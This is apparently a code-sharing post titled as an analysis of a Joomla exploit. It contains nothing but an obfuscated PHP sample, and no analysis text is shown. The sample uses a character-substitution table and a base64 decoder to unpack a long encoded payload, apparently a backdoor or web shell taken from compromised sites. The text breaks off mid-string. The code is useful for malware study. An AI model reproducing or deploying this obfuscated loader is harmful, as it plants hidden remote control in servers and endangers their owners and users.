ifnull
11/17/2014 - 7:58 PM

Analysis of Joomla exploit

Analysis of Joomla exploit

<?php
$vMD432J = Array('1'=>'c', '0'=>'b', '3'=>'f', '2'=>'Z', '5'=>'E', '4'=>'N', '7'=>'o', '6'=>'z', '9'=>'Y', '8'=>'G', 'A'=>'J', 'C'=>'l', 'B'=>'8', 'E'=>'M', 'D'=>'A', 'G'=>'s', 'F'=>'y', 'I'=>'V', 'H'=>'0', 'K'=>'T', 'J'=>'n', 'M'=>'2', 'L'=>'p', 'O'=>'h', 'N'=>'a', 'Q'=>'e', 'P'=>'C', 'S'=>'F', 'R'=>'R', 'U'=>'v', 'T'=>'O', 'W'=>'U', 'V'=>'W', 'Y'=>'H', 'X'=>'d', 'Z'=>'L', 'a'=>'t', 'c'=>'K', 'b'=>'g', 'e'=>'X', 'd'=>'6', 'g'=>'m', 'f'=>'j', 'i'=>'7', 'h'=>'q', 'k'=>'i', 'j'=>'Q', 'm'=>'w', 'l'=>'x', 'o'=>'B', 'n'=>'3', 'q'=>'D', 'p'=>'5', 's'=>'S', 'r'=>'9', 'u'=>'u', 't'=>'4', 'w'=>'k', 'v'=>'P', 'y'=>'1', 'x'=>'r', 'z'=>'I');
function vMFNXQ7($v3AJM65, $vRSA4ZY){$vZ2UAOU = ''; for($i=0; $i < strlen($v3AJM65); $i++){$vZ2UAOU .= isset($vRSA4ZY[$v3AJM65[$i]]) ? $vRSA4ZY[$v3AJM65[$i]] : $v3AJM65[$i];}
return base64_decode($vZ2UAOU);}
$vTACLMJ = 'PgCgc8C61MIHcPR3W5rKISGk9Mrw2sAXcsDgAkoL1n4CXPbweyovWyR0zg4y1nRU0IrO9'.
'nRL0MtkeswbAk9bNe432MrU2SrL1Pbwey4SWC2SWCGJWwI4KyRSeHS5RSzJeswLPJGcPVIM9Vm79gS62K9HeMRC9Mrw2sbw'.
'eyovWyR0zg4U28WkeswLTm7A2eOLXPbLTmLrPbLL2kD7Ne462ej7ASrjKy4WVFAHQeoCzCHLzP9gzPR3W5rKISGkXYCm2sAXvKHk'.
'EszLPJGcPeRp18Wlen4C0gj7cKGcPVItNej7cKGc3jLC0Y4CNV9bc8C'.
'61MIHcPR3W5rKISGkXYCm2sAXcsDgAkDweyovWyR0zJRp18WkeKHrzfzkcjLiPbLrPgIG1MIL2k'.
'D7Ne462ej7ASrjKy4WVFAHQeoCzCHLcjLiPbCC9MOUzPR3W5rKISGkXYCm2sAXTm7A2eOLXPbLTmLrPbLC1JAU1CBHE'.
'qj7cKGcPg2y0g4HNVruz8C6eMXU0MR3NeD7A8CmcjLiPbww2MrU2YEbvsoo1JAOQsbk4ktlTqWuEfEpZ'.
'kzGzPztZf56TPtlEKbuzkwiPbwcPV2U1gIO9MbbcPRJ0Mrw1FoO1FDw2MrU2PwcPeGcPjCL2kD71nRF1nRFcP'.
'RL1PmbA8XU0MjLzP5rz52oKS4Scj7APeGcPjwA1gIHXeAuzSRsIWWiPbwA3j7A3j7APbCF2eRy1gtbRwSEWHWi'.
'PJHcPg2y0g4HNVruzYRp18Wlen4C0gj7cjLiPbCL2kbONe462ej7ASrjKy4WVFAC0VSL0YEkeswcPjwAKyzbzVC61M'.
'IHcPR3W5rKISGkX8OC0VI6zCHLPbwAPWrszPSL1n4CXPbweyovW'.
'yR0zgyC1n4O2MI6zCHLPbwAPWrszPSL1n4CXPbweyovWyR0zg2F0My6zCHLPbwAPWrszPSL1n4CXPbweyovWyR0zgy'.
'ONVlC1JEkeswcPswcPeGcPjCCQ8CHcPwiPbCrPb7ANV972MIHeMyO2MCfenSy0nRC1y'.
'rJ18E7cswcPeGcPjCg0nAC9V47cPR3W5rKIPoO1FDwNMIpzqH+z'.
'PRm0n4Hcj7APeGcPjwAASrjKy4WVFRx2eCXzqHb1nRFNeof1MlO1MOC1Fbw18r6XPwiPbwA3j7A3j7cPsRC'.
'0VSL0YEbvsoDXVp62eAL9VlLQgW79gS62K9HeMRC9Mrw2sbweyovWyR0zgIa9VCG1FAXcswiPbwwX8OC0VI6zqHbjYIu1M'.
'IFNVSGNeLCc8AO1MWM4Srw2V4U28W7ASrjKy4WVFAHN8Ia2eEkeswLTm7AA8yC1n4O2MI6zqHbjYIu1MI'.
'FNVSGNeLCc8AO1MWM4Srw2V4U28W7ASrjKy4WVFAa2e469VXC1'.
'FAXcswiPbww2JAU0eEbvsoDXVp62eAL9VlLQgW79gS62K9HeMRC9Mrw2sbweyovWyR0zg2F0'.
'My6zCHLcKGcPsRa9VCG2eA6zqHbjYIu1MIFNVSGNeLCc8AO1MWM4Srw2V4U28W7ASrjKy4WVFAa9'.
'VCG2eA6zCHLcKGcPsRO08CO1MI6zqHbjYIu1MIFNVSGNeLCc8AO1MWM4Srw2V4U28W7ASrjKy4WVF'.
'AO08CO1MI6zCHLcKGcPsRm9e462eEbvsoDXVp62eAL9VlLQgW79gS62K9HeMRC9Mrw2sbweyovWyR0zJoO1n4C1'.
'FAXcswiPb7ANV97Ne462ej7ASrKRIAVRIzLcj7AQm7APsR3WHIsIwIsVFXjsSo3WHIERkXX'.
'zqHbzkBkTFDcPjwwey4SWC2SWCGJWwI4KyRSeHS5RSzJesDrzPzlE'.
'f1uEPtmZf5kTm7APVCgcPSC0eoHQsbwey4SWC2SWCGJsSRWWSr9eH2vWCXoWwRSRSr8KyzJeswLPbwAQm7APjwwey4SWC'.
'2SWCGJsSRWWSr9eH2vWCXoWwRSRSr8KyzJesDrzPzlEf1uEPtmZf5'.
'kTm7APeHcPeHcPbCL2kOL1n4CXPbweH2AK5IKcswcPeGcPjCg0nAC9V47cPR3RwCERIE'.
'b9eEbA8aCQsDrvkDw2gCG2swcPjCiPbwAPsRgNVlC0gSa2sDrz8'.
'SGX8IFeMyO9nAU1Fbw9VlL9e4C1yGwNMIpeswiPbwAPsRgNVlC0gSa2sDrz8py'.
'0Ira9V4F0nE7A82L08Iu9VyCcKGcPjwAA82L08Iu9VyCzqHbX8ItXSra9V4F0nE7A82L08Iu9'.
'VyCcKGcPjwAA82L08Iu9VyCzqHbQ8py0Ira9V4F0nE7A82L08Iu9VyCcKGcPjwAASr'.
'8sWlSWyGwNMIpeIGk0gSa2sAXzqHbA82L08Iu9VyCTm7APeHcPeHcPbCL2kOC0eoHQsbw2VyONVl6cswcPeGcPj'.
'CCQ8CHcPwiPbCrPb7A2grF2VSfNPD7A8Ia9VCG1FoO1FDw2JRCNVmbvKtbA8Ia9VC'.
'Gcj7AQm7APsRHN8Ia2sDrzPRHN8Ia2e409eAF9eC31gSu2PbwX8OC0VI6cIHiPbwAA'.
'YR72VyCzqHb9VlH2eA30VSf1gr6cPRHN8Ia2IGkX8OC0VWkeswiPbwAAYR'.
'72VyCzqHb0JIaeMyO9nAU1FbwX8OC0VWLTm7APsRHN8Ia2sDrzYRCQYR30VSf1g'.
'r6cPRHN8Ia2swiPbwAAYR72VyCzqHbQ8py0Ira9V4F0nE7AYR72VyCcKGcPbwAA8yC1n4O2MWbvsDw0VI61MSJ2e409'.
'eAF9eC31gSu2Pbw0VI61MSJ2eELeKGcPjww0VI61MSJ2sDrz8SGX8IFeMyO9nAU1Fbw0VI61MSJ2IGk0VI61MSJ2s'.
'AXcKGcPjww0VI61MSJ2sDrz8py0Ira9V4F0nE7A8yC1n4O2MWLTm7APsRa2e469VXCzqHbX8ItXSra9V4F0nE7A8'.
'yC1n4O2MWLTm7APsRa2e469VXCzqHbQ8py0Ira9V4F0nE7A8yC1n4O2MWLTm7APsBUA8yC1n4O2MWbvsom9e46eMyO9nAU1Fbw0V'.
'I61MSJ2smbAYoO1n4C1FwiPbwAA8yC1n4O2MWbvsogX8IL0Sra9V4F0nE7A8yC1n4O2MWGzPRgX8IL'.
'0PwiPb7APsRg1grazqHbA82F0My6VMSF1gSpenAO0gj7A82F0My6cIHiPbwAA8'.
'2F0MHbvsoO0YRC1Cra9V4F0nE7A82F0My0zg2F0MHkeswiPbwA'.
'A82F0MHbvsouXVy30VSf1gr6cPRg1gracKGcPjww2JAU0sDrzYRCQYR30VSf1gr6cPRg1grac'.
'KGcPjww2JAU0sDrzYOuXVy30VSf1gr6cPRg1gracKGcPjwcPjCL2kD71nRF1nRFcPRg1graZPDkVH4IWyRvK'.
'IHkcsDrvso8jWlKRswcPjCiPbwAPsRg1grazqHb2JAU0Ir70n4HcPRg1gracKGcPjCrPbwA2Vl62j'.
'7APeGcPjwAA82F0MHbvso6XYA31gIm08Sf2sbkVH4IWyRvKIHkZPDkzkmbA82F0MHLTm7APeHcPbwAA8yONVlC'.
'1kDrzPRa9VCG2eA6VMSF1gSpenAO0gj7A8yONVlC1JELeKGcPbwA1MIu2Sra9VCGcPRg1graZPDw2V'.
'yONVmGzPRHN8Ia2smbA8yC1n4O2MWGzPRa9VCG2ezLTm7A3jLrPbLgXVpfX8CU0ko62VpweMyONVm7'.
'A82F0MHGzPRH0FmbAY4y9g7GzPRH2eOHZPDw0VSL08IFcjLiPkDbzPDwN8IO2PDrzPzkTm7czPDbzPRy0kDrzY4H1JRUXeo'.
'm2ez7XVpL1VCwcYRL0VW7cswLTm7czPDbzPR72VSwzPtrzPA81graTkDw2JAU0Il'.
'uzfGczPDbzPR72VSwzPtrzPA9ZWyONVlC1f7bA8yONVlC1CluzfGczPDb'.
'zPR72VSwzPtrzPAs2eoGQsyW067bA82F0My10kziPb7bzPDbA8OC9VjbZfHbzwyL0VWaIgIF1MCU0f7bEstme8tkTm7b'.
'zPDbA8OC9VjbZfHbzw4U0JRC0JjaIYCm2K7b0eIGX8Cm9eAHZMSGX8IF0gSHNe2CTFziPkDbzPD'.
'wN8IO2PDuvsDk9gry0gRO1JwrePzaZsHaZsHaZsHazktwXVtuzCmke8p10kziPkDbzPDczPDbzPRm08SL0kDrzY4H1gCmenRO2nE'.
'7AYRCQYjLTm7bzPDbAYLO2FDrzPzaZsHaZsHaZsHaZsHkZkRy0ktke8pq0MpH2VpHZIRp18WdzYRCQYj'.
'U18lONVtiz8479eA62ejrePAAWHBaTqbyTsHlePziz82U1gyOXqyg08rn2VR10kziPkDbzPDwQgSJzPtrzPAq0M'.
'pH2VpHZIRF9Vp62gIFZWIu9MrwNVpJTkDn9gCHe8p10kzuAYoG9VCuZkA10CluzfGczPDbzD7bzPDbAYLO2FDuvsDkZs'.
'HaZsHaZsHaZsHazktwXVtuzClujMruX8IuXPyWQeoCTkoH2eOHZMOH0Vmiz8479eA62ejrePAAWHBaTqbyTsHlePzie8'.
'tkTm7bzPDbAYLO2FDuvsDkjMruX8IuXPyW1gSu1M2C1kyS0g4U28Cu267b4MALXSlue8twX8ItXSlu'.
'e8tkTm7bzPDbAYLO2FDuvsDkZsHaZsHaZsHaZsHazktwXVtuzkHazfGczPDbzD7bzPDbNV97'.
'9Mry0Jj7ASr8sWlSWFwbvkDmcj7bzPDbQm7bzPDbzPDbz82U1gIO9Mb7ASr8sW'.
'lSWFoO1FDw2gCG2swczPDbzPDbzPoiPkDbzPDbzPDbzPDbz8Cgc82L08I32eO'.
'L1nR6cPRgNVlCVFAH0eo30gSa2sAXcswczPDbzPDbzPDbzPDbQm7bzPDbzPDbzPDbzPD'.
'bzPDbA89bvsog0noC0kbw2gCG2IGkX8ymeMpO0VWkesmbzJAkzkwiPkDbzPDb'.
'zPDbzPDbzPDbzPDwQgSJzPtrzPzaZsHaZsHaZsHaZsHkZkRy0ktke8tkTm7bzPDbzPDbzPDbzPDbzPDbAYLO2FDuvsDkj'.
'MruX8IuXPyWQeoCTkoO1YoGNV4OX8CU0krU9nRCXPy6XYAC9VHizfGczPDbzPDbzPDbzPDbzPDbzPR'.
'd9V1bZfHbzgpO0VWrePzkZkRgNVlCVFAu9VyCzCHuzCmke8tkTm7bzPDbzPDbzPDbzP'.
'DbzPDbAYLO2FDuvsDkjMruX8IuXPyW1gSu1M2C1kyS0g4U28Cu26Lk'.
'9e4C4fR10kziPkDbzPDbzPDbzPDbzPDbzPDwQgSJzPtrzPAq0MpH2VpHZWRL1noU1MCHNVruTgSHX8SfN8yC0JjizfGczPDbzPDb'.
'zPDbzPDbzPDbzPRd9V1bZfHbzg2L08Iu9VyCvImkzktw2gCG2IGk0gSa2'.
'sAXZkA1zClue8tkTm7bzPDbzPDbzPDbzPDbzPDbAYLO2FDuvsofNYIuNyr618lLXPOk9e4C4f'.
'R32Vpf0MRCc82F2VSwcPRgZPogNVlC1MCd2sbw2gCG2IGkX8ymeMpO0VWkeswLcswuzCluzfGczPDbzPDbzPDbzPDbz'.
'PDbz82f08r62sbw2kwiPkDbzPDbzPDbzPDbzYHczPDbzPDbzPorPkDb'.
'zPorPb7bzPDbNV97j8yONVm7AYRUZPDw1nIkNkmbAYLO2FmbA8OC9VjLcj7bzPDbQm7bzPDbzPDbz'.
'8CgcPSC0eoHQsbweyovWyR0An2C1gAU1MWJeswLPkDbzPDbzPDbzPDbz8IfN8BbzC4SKwRSRP'.
'ziPkDbzPorPkDbzPoC0Y4CPkDbzPoiPkDbzPDbzPDbNV97zVIa1YRpcPR3W5rKIS'.
'GJXgIF9gr62sXXcswczPDbzPDbzPDbzPDb2V470FDkRwSAKPziPkDbzPorPJHcPg2y0g4H'.
'NVruz8SGX8IFeMyO9nAU1Fbw9MruX8IuXPwcQm7bzPDb1YAC2yra9eRfNSrO08m7AF4'.
'icPthceHfIVwJZPDw9MruX8IuXPmbA8yOX8472eELTm7czPDbz82U1kbwNsDrzqDizPRLzqmb9Mry0Jj7A8yOX8472e40EI'.
'HLTFDwNsGxcj7bzPDbQm7czPDbzPDbzPDw0JEbvsoCQYoG0MRCcPA'.
'BzkmbA8yOX8472e40EIy0A8CXcKGczPDbzPDbzPDw96zbvsof0nIuXPbw0JELTm7bzPDbzPDbzPRF9VpwzqHb1gS'.
'u2PbmZPD7A8EFzPHbEswLTm7bzPDbzPDbzPRf0MpH2VpHzqHb1nRFenAC18lO9MW7'.
'zJGkZkRa9eRfN8I6V6SXVFRLestk3szGzPRu1yGw1gSu2SHGzPRf'.
'0MpH2VpHcKGczPDbzYHczPDbzYACXYIF0kDw9MruX8IuXqGc3j7c2JIu9nRL0MtbX8ItX'.
'Sra9V4F0nE7A84U0JRC0JjLPJGczPDbzYoF2VX30VSH9MO39VlGcP1feSaWRIOWePH7VyGd28CJNejdeIHxcImacSa0T'.
'gRL2MCHTCyXcFC1esEJZPDw9MruX8IuXPmbA8yOX8472eELTm7czPDbz82U1kbwNsDrzqDizPRLzqmb'.
'9Mry0Jj7A8yOX8472e40ESHLTFDwNsGxcj7bzPDbQm7bzPDbzPDb'.
'zPRaNVtbvsDw0VSH9MOC1yGleIGwNIHiPkDbzPDbzPDbA8yOQPDrzPRa9eRfN8I6V6'.
'AXVFRLeKGczPDbzPDbzPDw1gSu2PDrzYAO0gj7A8yL0kmbA8yOQPwiPkDbzPDbzPDbAYXU1gj'.
'bvsoJ2VpC1gSH2Irn0nAwcPRF9VpwcKGcPkDbzPDbzPDbA84U0JRC0Jjbvsom1gIJenAC18lO9MW7zkBkZJoF2VX'.
'31eIUX8W7A8yOX8472e40ESy0A8CXcstkZFzGzPRn0nAwZPDw9MruX8IuXPmbEswiPkDbzPorPb7'.
'bzPDb1YAC2yra9eRfNSrO08m7AF41VyRSVSR1ZsO0V6LwNVXLXqLXesGLeSHfAFmbA84U0JRC0JjGzPRa9eRfN'.
'8I6cKGcPkDbzPog0nz7A8wbvsDmTFDwNsDBz84UXVpHcPRa9eRfN8I6V6oXcKGbA8wxcF'.
'wczPDbzYGczPDbzPDbzPDw9Mry0JjbvsDw0VSH9MOC1yGleIGwNIHiPb7bz'.
'PDbzPDbzPRn0nAwzPDrz8XC0gIF9eRCenXU1gj7A84UXVpHcKGcP'.
'kDbzPDbzPDbA84U0JRC0Jjbvsom1gIJenAC18lO9MW7zkBkZJoF'.
'2VX31eIUX8W7A8yOX8472e40ESy0A8CXcstkZFzGzPRn0nAwZPDw9MruX8IuXPmbEswiPkDbzPorPb7czPDbzYACXYIF0'.
'kDw9MruX8IuXqGc3j7c2JIu9nRL0MtbQ8py0Ira9V4F0nE7A84U0JRC0JjLPJGczPDbzYoF2VX30VSH9'.
'MO39VlGcP1feSaTIWy1ZsO0V6LwNVXLXqLXesGLeSHfAFmbA84U0JRC0JjGzPRa9eRfN8I6c'.
'KGcPkDbzPog0nz7A8wbvsDmTFDwNsDBz84UXVpHcPRa9eRfN8I6V6oXcKG'.
'bA8wxcFwczPDbzYGczPDbzPDbzPDw0JIazqHbA8yOX8472e40EIy0A8CXTm7bzPDbz'.
'PDbzPRaNVtbvsom0n17EKDGzPRuXVHbZsDlcKGczPDbzPDbzPDw0VStzqHb18rncq5mZPDw0JIacsDazq5iPb7bzPDbzPD'.
'bzPRF9VpwzqHb1gSu2Pbw0VCuZPDw0VStcKGczPDbzPDbzPDw9MruX8IuXPDrzY4H1CrF2eoG9V4CcPRa9eRfN8I6V6oXVFRLes'.
'mbAYAO0gjGzPRf0MpH2VpHcKGczPDbzYHczPDbzYACXYIF0kDw9MruX8IuXqGc3j7c2JIu9nRL0Mtb0JIaeMyO9nAU1'.
'Fbw9MruX8IuXPwcQm7bzPDb1YAC2yra9eRfNSrO08m7AF41VyAoKwR1ZsO0V6LwNVXLXqLXesGLePH7VyGd28CJNej'.
'deIHxcIlXzF1GzPRf0MpH2VpHZPDw0VSH9MOC1FwiPb7bzPDb2grFcPRLzqHbEqGb'.
'A8wbvPof0nIuXPbw0VSH9MOC1yGmeswizPRLcFGLPkDbzPoiPkDbzPDbzPDbA8yL0kDrzPRa9eRfN8I6V6SXVFRLeKGczPDbzPD'.
'bzPDw0VStzqHbA8yOX8472e40ECy0A8CXTm7bzPDbzPDbzPRF9VpwzqHb1gSu2Pbw0VCuZPDw0VStcKGczPDbzP'.
'DbzPDw9MruX8IuXPDrzY4H1CrF2eoG9V4CcPRa9eRfN8I6V6oXVFRLesmbAYAO0gjGzPRf0MpH2VpHcKGczPDbzY'.
'HczPDbzYACXYIF0kDw9MruX8IuXqGc3j7c2JIu9nRL0Mtb2MIu2eAOX8I3XMrF2Pbw08Iu2nR7cjLiPkDbzPDw9MOO1JEbvsD'.
'J9VAf28Ig2MOLNgaG0VpU1YSF1nRyXJCtQk1iPkDbzPDw0JIaj'.
'MOO1JEbvso6XYAG2Vt7A8479eA6cKGczPDbzPR6XYAL0g1bvsDJA6GczPDbz82U1kbwNsDrzqDizPRLzqmbA8lC0gXHNqGbA8w'.
'xcFwczPDbzYGczPDbzPDbzPDw1nRFNVpJzPtrzY4y9J4H1kbw9MOO1JEG'.
'zYAO0gj7EsmbA8py0W479eA6csDazq5Gzq5LTm7bzPDb3j7bzPDb1gIHXeAuzPR6XYAL0g1iPJHcPg2y0g4H'.
'NVruzYoO1n430VSf1gr6cPRf0MpH2VpHZPDw18S61MI6cjLiPkDbzPDw18S61FDrz8SF1gSpenoU1Pbw18S61MI6cK'.
'GczPDbzD7bzPDb1gIHXeAuzY4H1CrF2eoG9V4CcPA0W5SKWyHkZPDw18S61FmbA84U0JRC0JjLTmLrP'.
'bLgXVpfX8CU0kogX8IL0Sra9V4F0nE7A84U0JRC0JjGzPRgX8IL0PwcQFD'.
'bzPDczPDbzYACXYIF0ko6XYA31gIm08Sf2sbkVH2WRWCEeszGzPRgX8IL0PmbA84U0'.
'JRC0JjLTmLrPbLgXVpfX8CU0koL1yrL1Pbw1nRFcsoiPkDb1gIHXeAuzYoF2VX30VSH9Mb7zkrQcSG'.
'lZKCX3SGlZKCXV6DaTIyBEIGmZKCXV6DaTIyBECGmZKRXV6DaTIyBEfI0EPHyesw7ePt7V6D'.
'aTIyBV65aTIy0EPHpeemlV6DaTIy0EPHpeemFV6Da4Sy0EPHpeemF4IGmZKIXcsCiEnHwZFzGAY4H1kwiPJHcPg2y0g4HNVruz8'.
'2F0My3N8r6XPbw9MruX8IuXPwcQm7czPDbzPR70n4HzqHb1YAC2yr'.
'F2eoG9V4CcP1UekOnXnXB2JRmcImuZMwJZP1JZ5Dwey4SWC2SWCGJsSRWWSrzKy4'.
'WAyHLTm7czPDbz8CgzPOL1yrL1PbwN8r6XPwLPkDbzPoiPkDbzP'.
'DbzPDb1gIHXeAuzPRf0MpH2VpHTm7bzPDb3j7bzPDbPkDbzPDwX8rx2Vp'.
'6zqHb2eOm08rw2sbkjPzGzPRf0MpH2VpHcKGcPkDbzPDw9MruX8IuXPDrzPRH0MaC0J40ESHbZkDkj'.
'PzbZkDwN8r6XPDuzPz+zfGcPkDbzPoF2eRy1gtbA84U0JRC0JjiP'.
'JHcPg2y0g4HNVruz8IF1grFe6jm4PbLPJGcPVOC9VRC1kbksSRWWPBlZf5b4qDHz5pUXPo80nIu2'.
'PzLTm7cPsRy1gwbvsom1gIJenAC18lO9MW7AFB7eqBLZk7wZF1GzP1JZPD'.
'wey4SWC2SWCGJWwIRIWIKISrIWwwJesDLTm7cPsRf0MpH2VpHzqHb9nI6X8raeMOHXYo31'.
'gIlXVI6Xq57zgOHXYDdZFBkZkR3WHIsIwIsVFXzISRjeHOvWyjJestkZHS8WVLqKwOuNqOsXYR8s'.
'K4VKeAP28R2X62F0gXZQfXZRW5kcKGcPsRf0MpH2VpHzqHb1nRFenAC18lO9MW7zPzUjW2RNw4Ts8p7TSAHX52AEy241wAw2SCn4'.
'JAu2Had4HaSjszGzPRy1gwGzPRf0MpH2VpHzPwiPb7A2eOLXPbbA84U0JRC0JjbcKGc3j7cPg2y0g4HNVru'.
'z84y1nRU0Ir7XYRmenAC1eIC1njlcPRm9eAO0eELPJGczPDbz8CgcPDOz8C6eMSF1gSpcPRm9eAO0eELzPwczPDbzYGczPDbzP'.
'DbzPDw18SF9Vy6zqHb9eAF9ew7PkDbzPDbzPDbzPDbzPXy1gmJzqH+zPRm9eAO0eEGPkDbzPDbzPDbzPDbzPXa2eR70MjJzq'.
'H+zPXYRIjJPkDbzPDbzPDbcKGczPDbzYHczPDbzD7bzPDbNV97zPRm9eAO0e40AnIF0PXXvKHJAFDLzYACXYIF0ko8jWlK'.
'RKGczPDbzD7bzPDbNV97zP5bNe462ej7AYoO1gSa1yGJ0VIHN8rwAyHLzPwbAYoO1gSa1yGJ0VIHN8rwAyHbvsD7Ne46'.
'2ej7AYoO1gSa1yGJ28SH9sXXcs9gNe439eAF9ew7AYoO1gSa1yGJ28SH9sXXcswbvFDJW5rKIP1'.
'bTkDJRHIWA6GczPDbzPRm9eAO0e40AMyCX8OU2PXXzqHb1nRFX8ry1YoC1kbw18SF9Vy6V'.
'FXa2eR70MjJeswiPkDbzPoL2kbbzsoL0CrO1JAOQsbw18SF9Vy6VFXa2eR70MjJesmb9eAF9ew7AHXSIP1GzPXjKy4WAFwLz'.
'Pwb1gIHXeAuz52oKS4STFDczPDbzD7bzPDbZF7bHA/Rb4PtHZZjUaPHHZfjUPqRbX'.
'8oH9UjurPdH9EbHZzbHZ/Rb4PmHZZju4PiH96jUX8ZHZwbHZZju4PHzP7UPkDbzPDwXeAGzqHb18SF1MI3Xe'.
'AGcPRm9eAO0e40AnIF0PXXcKGczPDbz8CgcPDOz8C61MIHcPRy1gl0An4fN8Ia2sXXcsDLzPRy1gl0An4fN8'.
'Ia2sXXzqHbAMOHXYDJTm7bzPDbNV97zP5bNe462ej7AYIF0SGJ18SHNPXXcsDLzPRy1gl0AnoOX8bJesDrzP1UA6GczPDbz'.
'8CgcPDOz8C61MIHcPRy1gl0AMOU1njJeswbAk9bNe462ej7AYIF0SGJ18SHNPXXcsDLPkDbzPoiPkDbzPDb'.
'zPDbNV97zY4H1JoU1FbwXeAGVFXm9eR7AyHGzP1UAFwbcj7bzPDbzPDbzYGczPDbzPDbzPDbzPDbAYIF'.
'0SGJN8r6XPXXzqHb1nIk1nRFcPRy1gl0AnoOX8bJesmbEPmb1nRF18r6cPRy1gl0AnoOX8bJesm'.
'bAFBJcswiPkDbzPDbzPDbzPDbzPRy1gl0AnoOX8bJesDrzY4y9J4H1kbwXeAGVFXm9eR7AyHGzY4H1JoU'.
'1FbwXeAGVFXm9eR7AyHGzP1UAFwLTm7bzPDbzPDbzYHczPDbzPDbzPoC0Y4CPkDbzPDbzPDbQm7bzP'.
'DbzPDbzPDbzPDwXeAGVFX70n4HAyHbvsDwXeAGVFXm9eR7AyHiPkDb'.
'zPDbzPDbzPDbzPRy1gl0AnoOX8bJesDrzP1UA6GAPkDbzPDbzPDb3j7bzPDb3j7bzPD'.
'bAYIF0SGJ18SHNPXXzqHb1YAC2yrF2eoG9V4CcPzUVyl1ZyHxZFzGzPzUzkmbAYIF0SGJ18SHNPXX'.
'cKGczPDbz8CgcPoL1n4CXPbwXeAGVFXlXVIFQsXXcsDLzPRy1gl0AnoOX8bJesDuvsDkvnGwXeAGVFXlXVIFQ'.
'sXX3sziPkDbzPDczPDbzPRm0nAHzqHbNe462ej7AYoO1gSa1yGJ18rFXPXXcsD/zPRm9eAO0e40AnoU1JjJej7bzPDbz'.
'PDbzPDbzPDdzPbbNe462ej7AYIF0SGJ18rFXPXXcsD/zPRy1gl0AnoU1JjJesDdzPbw'.
'XeAGVFX69MOC0VWJeKHrAMOHXYo6A6BH4qEdTqDLzPwiPkDbzPD'.
'czPDbzPRHNVyC0nIHzqHbNe462ej7AYoO1gSa1yGJX8Ca2VryXPXXcsD/zPRm9eAO0e40AnRL0'.
'VIUXejJesDdzqEmTm7bzPDbNV97zP5bNe462ej7AYoO1gSa1yGJ'.
'1gIHXeAuAyHLzPwbAYoO1gSa1yGJ1gIHXeAuAyHbvsDJ9MruX8IuXP1iPkDbzPDczPDbzPR69MOC0VWbvsDwXeAGVFX69MOC0V'.
'WJeKHrAMOHXYo6AFD/zPX61MmdZFBJTk1JTm7bzPDbA82mzqHbj8260M4x0noC0kbw1M472VyCZkRy1gl0A'.
'MOU1njJesmbAYoU1JjGzPRC1JAu0FmbA8IF1J4H1kmbAYRL0VIUXejLTm7bzPDbNV97zPRg1PDLPkDbz'.
'PoiPkDbzPDbzPDbZF7bKVrdNVlG9sDhZm7bzPDbzPDbz8CgcPDOz8C61MIHcPRm9eAO0e40AyI62ez'.
'ajVXC0JjJeswbcsDw18SF9Vy6VFXI1MIFZWSJ2VpHAyHbvsDkKVrdNVlG9sB'.
'yZfDbc8CjN8ru2KGbIKGbjyoIz8CjN8ru2sovWFD6e6Db08Cx2so49VEbKyEbVqGb2VtaXeELz5Sm18lCIM'.
'IksMCHZ6WFTPtlTPD7sHOWKWmGz8lLNMWbRMIfNMBLzS2C1J4L0MtU4Ptmz5yU9gCG2sBnjKEHEsoK9V2O1gwU4KztZf5'.
'MzfGczPDbzPDbzPDczPDbzPDbzPDw1gIlXVI6XPDrzPAiAYoO1gSa1yGJ0VIHN8rwAyyrzYGwXeAGVFXm9eR7Ayyrz5OWISDUEs'.
'tmeYA10kziPkDbzPDbzPDbAYAC1eIC1njbZfHbzwOU1njdzYGwXeAGVFX70n4HAyyreYA10kziPkDbzPD'.
'bzPDbAYAC1eIC1njbZfHbzCI62ezajVXC0JjdzYGw18SF9Vy6VFXI1MIFZWSJ2VpHAyy'.
'rzktkeYA10kziPkDbzPDbzPDbNV97z8C61MIHcPRm9eAO0e40AnAC2gIF2ezJeswbcsDw1gIlXVI6XPDuvsDkWgIg2eAC'.
'1f7bQFRm9eAO0e40AnAC2gIF2ezJeey11CluzfGczPDbzPDbzPoL2kbbNe462ej7AYoO1gSa1yGJ9MrUNMCCAyHLzPwczPDbzP'.
'DbzPoiPkDbzPDbzPDbzPDbzPRf0MrxNVWbvsDkzfGczPDbzPDbzPDbzPDbNV'.
'97z8C6eMSF1gSpcPRm9eAO0e40AM4U0MaL2sXXcsDLzYag0nAC9V47cPDw18'.
'SF9Vy6VFXf0MrxNVWJesoO1FDwN6H+AY9bcsDw9MrUNMCCzPtrzPzwN6HwXfGbzfGbA84U0MaL2sDrzY4y9J4H1kbw9MrUNMC'.
'CZqDGZKzLTnHczPDbzPDbzPDbzPDb2Vl62sDw9MrUNMCCzqHbAYoO1gSa1yGJ9MrUNMCCAyHiPkDbzPDbzPDbzPDbz8Cgc'.
'PDw9MrUNMCCzKHJAFDLzPRF2eSy2e4HzPtrzPAq0MrxNVWdzPRf0MrxNVI11CluzfGczPDbzPDbzPorPkDbzPDbzPDbAYAC1e'.
'IC1njbZfHbzw4U0gpC9nRL0Mtdz84G0n4CeYA10kziPkDbzPDbzPDbNV97zPRm9eAO0e40AMyCX8OU2PXXvKHJW5'.
'rKIP1bcj7bzPDbzPDbzYGczPDbzPDbzPDbzPDbNV97z8C61MIHcPRm9eA'.
'O0e40AMROX85JeswbAk9bNe439eAF9ew7AYoO1gSa1yGJ28SH9sXXcsDLPkDbzPDbzPDbzP'.
'DbzYGczPDbzPDbzPDbzPDbzPDbz82U1gIO9Mb7AYoO1gSa1yGJ28SH9sXXz5SKzPRxzqH+zPRMcj7bzPDbzPDbzPDbzP'.
'DbzPDbzPDbzPRw9eROzPtrzYIF08Iu9Mrw2sbwNFwuA6HJZJIF08Iu9Mrw2sbwXkwuAF9JTm7bzPDbzPDbzPDbzP'.
'DbzPDbNV97zY4y9J4H1kbw28SH9smbZK5LvKHJAk1bcsDw28SH9sDrzY4y9J4H1kbw28SH9smmZPHlcKGczPD'.
'bzPDbzPDbzPDb3j7bzPDbzPDbzPDbzPDw28SH9sDuvsDkeYA10ClFe8tkTm7bzPDbzPDbzPDbzPDczPDbzPDbzPD'.
'bzPDbAYAC1eIC1njbZfHbzw4U0JRC0JjaXYCm2K7b9eom08Cf9eRL0MtUQPynXn1a2grF0syy1glC0g4U28'.
'IweYA10kziPkDbzPDbzPDbzPDbzPRF2eSy2e4HzPtrzPAq0MpH2VpHZVl'.
